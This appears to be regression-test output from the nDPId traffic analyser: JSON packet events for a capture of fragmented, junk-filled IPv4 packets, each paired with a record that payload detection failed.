+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650435,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650445,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650481,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650515,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650524,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650531,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650538,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650545,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650551,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650562,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650573,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650580,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650588,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650596,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650614,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650624,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650632,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650639,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650646,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650671,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650702,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650710,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650722,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650751,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650789,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650837,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650851,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650858,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650874,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650885,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650893,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650900,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} 